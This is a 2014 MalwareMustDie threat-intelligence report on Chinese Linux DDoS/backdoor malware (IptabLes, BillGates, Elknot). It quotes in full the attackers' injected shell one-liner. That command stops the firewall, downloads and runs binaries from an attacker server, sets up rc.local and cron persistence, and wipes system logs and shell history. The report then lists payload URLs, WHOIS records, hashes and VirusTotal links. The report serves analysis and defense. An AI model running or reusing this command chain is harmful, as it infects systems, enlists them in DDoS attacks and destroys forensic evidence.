// #MalwareMustDie!! Tue Oct 14 21:37:28 JST 2014 // Multiple China DDoS-er/backdoor payloads was reported in action infecting victim using // one-liner long shell command // Initial case: http://blog.malwaremustdie.org/2014/05/linux-reversing-is-fun-toying-with-elf.html // Follow up report: http://blog.malwaremustdie.org/2014/05/linux-reversing-is-fun-toying-with-elf.html?showComment=1413220693224#c4466937356030505144 // Payloads are: China ELF DDoS-er malware multiple type: (1) Linux/IptabLes|x , (2) Linux/BillGates & (3) Linux/Elknot (packed & unpacked) // One line injected command: "/etc/init.d/iptables stop echo "nameserver 8.8.8.8" >> /etc/resolv.conf echo "nameserver 8.8.4.4" >> /etc/resolv.conf apt-get -y install wget yum -y install wget chmod 7777 / etc killall -9 .IptabLes killall -9 nfsd4 killall -9 profild.key cd /etc;rm -rf dir fake.cfg killall -9 nfsd killall -9 DDosl killall -9 lengchao32 killall -9 b26 killall -9 khelper killall -9 Bill killall -9 n26 killall -9 007 killall -9 codelove killall -9 32 killall -9 m32 killall -9 m64 killall -9 64 killall -9 83BOT killall -9 82BOT killall -9 dos64 killall -9 dos32 killall -9 new6 killall -9 new4 killall -9 node24 killall -9 mimi killall -9 nodeJR-1 killall -9 freeBSD killall -9 ksapdd killall -9 106 killall -9 09 killall -9 xsw killall -9 syslogd killall -9 skysapdd killall -9 cupsddd killall -9 ksapd killall -9 atddd killall -9 xfsdxd killall -9 sfewfesfs killall -9 gfhjrtfyhuf killall -9 rewgtf3er4t killall -9 fdsfsfvff killall -9 smarvtd killall -9 whitptabil killall -9 gdmorpen cd /etc;chattr -i 66 cd /root; chmod 7777 / etc killall -9 minerd killall -9 syn killall -9 joudckfr killall -9 www killall -9 log killall -9 .IptabLes killall -9 .IptabLex killall -9 .Mm2 killall -9 acpid killall -9 m64 killall -9 ./QQ killall -9 aabb killall -9 g3 killall -9 S99local killall -9 3 killall -9 pm killall -9 qweasd killall -9 tangtang killall -9 imap-login killall -9 xudp killall -9 sshpa killall -9 008 killall -9 txma killall -9 mrdos64.b00 killall -9 mrdos32.b00 killall -9 kkpklp killall -9 kiilp killall -9 xin1 killall -9 jibateng killall -9 syscore.sh killall -9 syscore.sh killall -9 syscore.sh killall -9 .mimeo killall -9 .mimeo killall -9 .mimeo killall -9 .mimeop killall -9 .task1 killall -9 .mimeop killall -9 .IptabLes killall -9 .IptabLex killall -9 .IptabLes killall -9 .IptabLex killall -9 .IptabLes killall -9 .IptabLex killall -9 .IptabLes killall -9 .IptabLex cd /root;rm -rf dir nohup.out cd /etc;rm -rf dir fake.cfg cd /etc;rm -rf dir cupsddd.* cd /etc;rm -rf dir atddd.* cd /etc;rm -rf dir ksapdd.* cd /etc;rm -rf dir kysapdd.* cd /etc;rm -rf dir sksapdd.* cd /etc;rm -rf dir skysapdd.* cd /etc;rm -rf dir xfsdxd.* cd /etc;rm -rf dir fake.cfg cd /etc;rm -rf dir cupsdd.* cd /etc;rm -rf dir atdd.* cd /etc;rm -rf dir ksapd.* cd /etc;rm -rf dir kysapd.* cd /etc;rm -rf dir sksapd.* cd /etc;rm -rf dir skysapd.* cd /etc;rm -rf dir xfsdx.* cd /etc;rm -rf dir sfewfesfs cd /etc;rm -rf dir gfhjrtfyhuf cd /etc;rm -rf dir rewgtf3er4t cd /etc;rm -rf dir fdsfsfvff cd /etc;rm -rf dir smarvtd cd /etc;rm -rf dir whitptabil cd /etc;rm -rf dir gdmorpen cd /etc;rm -rf dir sfewfesfs.* cd /etc;rm -rf dir gfhjrtfyhuf.* cd /etc;rm -rf dir rewgtf3er4t.* cd /etc;rm -rf dir fdsfsfvff.* cd /etc;rm -rf dir smarvtd.* cd /etc;rm -rf dir whitptabil.* cd /etc;rm -rf dir gdmorpen.* cd /etc;rm -rf dir nhgbhhj.* cd /tmp;rm -rf dir 1.* cd /tmp;rm -rf dir 2.* cd /tmp;rm -rf dir 3.* cd /tmp;rm -rf dir 4.* cd /tmp;rm -rf dir 5.* cd /tmp;rm -rf dir jdhe cd /tmp;rm -rf dir jdhe.* cd /var/spool/cron; rm -rf dir root.* cd /var/spool/cron; rm -rf dir root cd /var/spool/cron/crontabs; rm -rf dir root.* cd /var/spool/cron/crontabs; rm -rf dir root cd /var/spool/cron ;wget -c http://www.frade8c.com:9162/root cd /var/spool/cron/crontabs ;wget -c http://www.frade8c.com:9162/root yes|mv /tmp/root /var/spool/cron yes|mv /tmp/root /var/spool/cron/crontabs cd /tmp;wget -c http://www.frade8c.com:9162/jdhe cd /etc;wget -c http://www.frade8c.com:9162/sfewfesfs cd /etc;wget -c http://www.frade8c.com:9162/gfhjrtfyhuf cd /etc;wget -c http://www.frade8c.com:9162/rewgtf3er4t cd /etc;wget -c http://www.frade8c.com:9162/fdsfsfvff cd /etc;wget -c http://www.frade8c.com:9162/smarvtd cd /etc;wget -c http://www.frade8c.com:9162/whitptabil cd /etc;wget -c http://www.frade8c.com:9162/gdmorpen cd /etc;wget -c http://www.frade8c.com:9162/nhgbhhj cd /etc;wget -c http://www.frade8c.com:9162/byv832 cd /tmp;chmod 7777 jdhe cd /etc;chmod 7777 nhgbhhj cd /etc;chmod 7777 byv832 cd /etc;chmod 7777 sfewfesfs cd /etc;chmod 7777 gfhjrtfyhuf cd /etc;chmod 7777 rewgtf3er4t cd /etc;chmod 7777 fdsfsfvff cd /etc;chmod 7777 smarvtd cd /etc;chmod 7777 whitptabil cd /etc;chmod 7777 gdmorpen cd /tmp;chmod 7777 nhgbhhj cd /tmp;chmod 7777 byv832 cd /tmp;chmod 7777 sfewfesfs cd /tmp;chmod 7777 gfhjrtfyhuf cd /tmp;chmod 7777 rewgtf3er4t cd /tmp;chmod 7777 fdsfsfvff cd /tmp;chmod 7777 smarvtd cd /tmp;chmod 7777 whitptabil cd /tmp;chmod 7777 gdmorpen cd /tmp;./jdhe nohup /etc/sfewfesfs > /dev/null 2>&1& nohup /etc/gfhjrtfyhuf > /dev/null 2>&1& nohup /etc/rewgtf3er4t > /dev/null 2>&1& nohup /etc/fdsfsfvff > /dev/null 2>&1& nohup /etc/smarvtd > /dev/null 2>&1& nohup /etc/whitptabil > /dev/null 2>&1& nohup /etc/gdmorpen > /dev/null 2>&1& nohup /etc/nhgbhhj > /dev/null 2>&1& nohup /etc/byv832 > /dev/null 2>&1& nohup /tmp/sfewfesfs > /dev/null 2>&1& nohup /tmp/gfhjrtfyhuf > /dev/null 2>&1& nohup /tmp/rewgtf3er4t > /dev/null 2>&1& nohup /tmp/fdsfsfvff > /dev/null 2>&1& nohup /tmp/smarvtd > /dev/null 2>&1& nohup /tmp/whitptabil > /dev/null 2>&1& nohup /tmp/gdmorpen > /dev/null 2>&1& nohup /tmp/nhgbhhj > /dev/null 2>&1& nohup /tmp/byv832 > /dev/null 2>&1& echo "cd /tmp;./sfewfesfs" >> /etc/rc.local echo "cd /tmp;./gfhjrtfyhuf" >> /etc/rc.local echo "cd /tmp;./rewgtf3er4t" >> /etc/rc.local echo "cd /tmp;./fdsfsfvff" >> /etc/rc.local echo "cd /tmp;./smarvtd" >> /etc/rc.local echo "cd /tmp;./whitptabil" >> /etc/rc.local echo "cd /tmp;./gdmorpen" >> /etc/rc.local echo "cd /etc;./sfewfesfs" >> /etc/rc.local echo "cd /etc;./gfhjrtfyhuf" >> /etc/rc.local echo "cd /etc;./rewgtf3er4t" >> /etc/rc.local echo "cd /etc;./fdsfsfvff" >> /etc/rc.local echo "cd /etc;./smarvtd" >> /etc/rc.local echo "cd /etc;./whitptabil" >> /etc/rc.local echo "cd /etc;./gdmorpen" >> /etc/rc.local echo "unset MAILCHECK" >> /etc/profile cd /etc;chattr +i sfewfesfs rm -rf /root/.bash_history touch /root/.bash_history history -r cd /var/log > dmesg cd /var/log > auth.log cd /var/log > alternatives.log cd /var/log > boot.log cd /var/log > btmp cd /var/log > cron cd /var/log > cups cd /var/log > daemon.log cd /var/log > dpkg.log cd /var/log > faillog cd /var/log > kern.log cd /var/log > lastlog cd /var/log > maillog cd /var/log > user.log cd /var/log > Xorg.x.log cd /var/log > anaconda.log cd /var/log > yum.log cd /var/log > secure cd /var/log > wtmp cd /var/log > utmp cd /var/log > messages cd /var/log > spooler cd /var/log > sudolog cd /var/log > aculog cd /var/log > access-log cd /root > .bash_history history -c" // Payload URLS: h00p://www.frade8c.com:9162/root (crontab script garbage) h00p://www.frade8c.com:9162/jdhe h00p://www.frade8c.com:9162/sfewfesfs h00p://www.frade8c.com:9162/gfhjrtfyhuf h00p://www.frade8c.com:9162/rewgtf3er4t h00p://www.frade8c.com:9162/fdsfsfvff h00p://www.frade8c.com:9162/smarvtd h00p://www.frade8c.com:9162/whitptabil h00p://www.frade8c.com:9162/gdmorpen h00p://www.frade8c.com:9162/nhgbhhj h00p://www.frade8c.com:9162/byv832 // Source analyzed: Date: 2014-10-14 19:57:50 Resolving www.frade8c.com (www.frade8c.com)... 219.135.56.211 Caching www.frade8c.com => 219.135.56.211 Connecting to www.frade8c.com (www.frade8c.com)|219.135.56.211|:9162... connected. Host: www.frade8c.com:9162 Connection: Keep-Alive HTTP request sent, awaiting response... ---response--- HTTP/1.1 200 OK Server: nginx/1.6.2 Date: Tue, 14 Oct 2014 18:58:37 GMT Content-Type: application/octet-stream Content-Length: 1554782 Last-Modified: Sun, 24 Aug 2014 18:29:06 GMT Connection: keep-alive ETag: "53fa2ef2-17b95e" Accept-Ranges: bytes 200 OK Registered socket 4 for persistent reuse. Length: 1554782 (1.5M) [application/octet-stream] // Server Location: CHINA 219.135.56.211|211.56.135.219.broad.fs.gd.dynamic.163data.com.cn.|4134 | 219.128.0.0/13 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK // Domain Registration; CHINA Domain Name: FRADE8C.COM Registrar: GODADDY.COM, LLC Whois Server: whois.godaddy.com Referral URL: http://registrar.godaddy.com Name Server: FREE.QYCN.CN Name Server: FREE.QYCN.COM Name Server: FREE.QYCN.NET Name Server: FREE.QYCN.ORG Status: clientDeleteProhibited Status: clientRenewProhibited Status: clientTransferProhibited Status: clientUpdateProhibited Updated Date: 10-sep-2014 Creation Date: 12-may-2014 Expiration Date: 12-may-2015 >>> Last update of whois database: Tue, 14 Oct 2014 11:48:23 GMT <<< Domain Name: FRADE8C.COM Registry Domain ID: 1858356025_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.godaddy.com Registrar URL: http://www.godaddy.com Update Date: 2014-05-12 12:05:14 Creation Date: 2014-05-12 11:43:36 Registrar Registration Expiration Date: 2015-05-12 11:43:36 Registrar: GoDaddy.com, LLC Registrar IANA ID: 146 Registrar Abuse Contact Email: abuse@godaddy.com Registrar Abuse Contact Phone: +1.480-624-2505 Domain Status: clientTransferProhibited Domain Status: clientUpdateProhibited Domain Status: clientRenewProhibited Domain Status: clientDeleteProhibited Registry Registrant ID: Registrant Name: xiao buyu Registrant Organization: Registrant Street: shanghaishirenminluyihao Registrant City: shanghai Registrant State/Province: shanghai Registrant Postal Code: 200000 Registrant Country: China Registrant Phone: +0.862185966589 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: zhucegodaddy@126.com Registry Admin ID: Last update of WHOIS database: 2014-10-14T11:00:00Z // PAYLOAD ANALYSIS RESULT: $ #MalwareMustDie! $ # Just finished categorized & analized these Chinese Ddoser mess: $ $ date Tue Oct 14 20:39:16 JST 2014 $ $ file * byv832.IptabLes.mmd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped fdsfsfvff.IptabLes.x32.mmd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped gdmorpen.IptabLes.mmd: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped gfhjrtfyhuf-unpack.Elknot.mmd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped gfhjrtfyhuf.packed.Elknot.mmd: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped jdhe.BillGates.mmd: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, for FreeBSD 8.4, not stripped nhgbhhj.BillGates.mmd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped rewgtf3er4t.IptabLes.x64.mmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped sfewfesfs.BillGates.mmd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped smarvtd-packed.Elknot.mmd: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped smarvtd-unpack.Elknot.mmd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped whitptabil-unpack.Elknot.mmd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped whitptabil.pack.Elknot.mmd: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped $ md5 * MD5 (byv832.IptabLes.mmd) = f7556d9ede5d988400b1edbb1a172634 MD5 (fdsfsfvff.IptabLes.x32.mmd) = 048016c6e6848f92a29296b72df4d2d8 MD5 (gdmorpen.IptabLes.mmd) = e029dd6a6570c70a2b12301db8b508d1 = smarvtd-packed.Elknot.mmd = whitptabil.pack.Elknot.mmd MD5 (gfhjrtfyhuf.packed.Elknot.mmd) = 9941a4dc930868a5739a8004de53a686 MD5 (gfhjrtfyhuf-unpack.Elknot.mmd) = 4f446e593dd83a24199ec2e7a84ac86a MD5 (jdhe.BillGates.mmd) = 7f3445e754493e76e09713cbc6415308 MD5 (nhgbhhj.BillGates.mmd) = 8a9b27ee8ff7475ef535217583e02d8f MD5 (rewgtf3er4t.IptabLes.x64.mmd) = 18bcb1c192df95a4216946f0294135bf MD5 (sfewfesfs.BillGates.mmd) = 8285f35183f0341b8dfe425b7348411d MD5 (smarvtd-unpack.Elknot.mmd) = fe060c05813fe155273f5b87bb59f960 = whitptabil-unpack.Elknot.mmd https://www.virustotal.com/en/file/b0329f31923b7c39ddd1f345d12add01fdfeee6000ee03657163f87c7a09a527/analysis/1413287761/ https://www.virustotal.com/en/file/ec4645d8306648a713e2b22849e72ff6eeb3931a83cee352fd105448577e6220/analysis/1413287839/ https://www.virustotal.com/en/file/8f929aa1171de80191788fd78f56173de72048d15914f814f5271f00e6882324/analysis/1413287924/ https://www.virustotal.com/en/file/5dbd1150f20fe8cd84f03484b661b5e822ff43a7e51d6c1d44c426f21cab225b/analysis/1413287986/ https://www.virustotal.com/en/file/90f268827ea8f2543d38d1cb90a2f56da506e2152164984c8eb59b3043b485fc/analysis/1413288124/ https://www.virustotal.com/en/file/e2895e8a671aa0c72ebaf7deabcef0b319b4952145f177749f6caef6293ac637/analysis/1413288173/ https://www.virustotal.com/en/file/60cf05e05231cac5a0f0361f7626785db475f6b8f33bd8c3aaf948c0e1118ad3/analysis/1413288297/ https://www.virustotal.com/en/file/f759be8115df769d493ecad3fb2cac09b36aba098f273c22d39364bd23f3138c/analysis/1413288354/ https://www.virustotal.com/en/file/551b48e425dcf4337ee023ad65a871123d172e43fabbc965252f5a2e69d0bd4a/analysis/1413288439/ https://www.virustotal.com/en/file/8f929aa1171de80191788fd78f56173de72048d15914f814f5271f00e6882324/analysis/1413288528/ https://www.virustotal.com/en/file/3c45adc937187d90b6a350a51d2ff0d285d5609af8872433437761406262aefb/analysis/1413288612/ #------ #Your report will be followed properly #MalwareMustDie!!!